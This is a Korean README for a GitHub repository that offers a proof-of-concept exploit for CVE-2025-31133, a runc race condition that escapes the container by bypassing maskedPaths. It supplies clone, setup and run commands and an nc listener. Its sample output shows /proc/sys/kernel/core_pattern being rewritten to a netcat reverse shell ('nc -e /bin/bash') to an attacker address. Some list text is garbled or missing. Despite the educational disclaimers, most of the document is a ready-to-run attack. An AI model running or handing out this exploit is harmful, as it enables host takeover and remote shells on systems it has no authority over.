
CVE-2025-31133에 대한 교육용 개념 증명으로, maskedPaths 경쟁 조건을 통한 runc 컨테이너 탈출 도구입니다. 보안 연구자를 위한 실습 환경 설정, 익스플로잇 스크립트 및 완화 가이드를 포함합니다.
CVE-2025-31133에 대한 개념 증명 데모 및 학습 환경입니다. 이는 runc의 보안 취약점으로, 경쟁 조건을 통해 maskedPaths 보호를 우회할 수 있습니다. maskedPaths는 컨테이너가 민감한 호스트 파일 시스템 경로에 접근하는 것을 방지하도록 설계되었습니다.
https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910
👉 이 저장소는 Black Hat 트레이닝에서 가르치는 정확한 연구 사고방식과 기술의 실제 예시입니다.
이 익스플로잇은 다음과 같은 경쟁 조건을 이용합니다:
/proc/sys/kernel/core_pattern)을 보호하기 위해 maskedPaths로 구성됩니다./dev/null) 삭제이 저장소는 교육 목적으로만 제공됩니다.
git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc
lab-setup.sh 스크립트는 다음을 수행합니다:
chmod +x lab-setup.sh
./lab-setup.sh
취약한 runc 버전이 설치되었는지 확인합니다:
runc --version
1.2.0 또는 유사한 버전이 표시되어야 합니다.
nc -lnvp <PORT>
chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh
성공 시 다음이 표시되어야 합니다:
[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148: 7068 Segmentation fault (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.
리버스 셸 연결이 리스너에 설정되어야 합니다.
이 취약점으로부터 보호하려면:
core_pattern을 자동으로 복원합니다.이 프로젝트는 교육 목적으로 제공됩니다. 책임감 있고 윤리적으로 사용하십시오.
기억하세요: 보안 연구 도구는 항상 책임감 있게, 소유하거나 테스트할 명시적 권한이 있는 환경에서만 사용하십시오.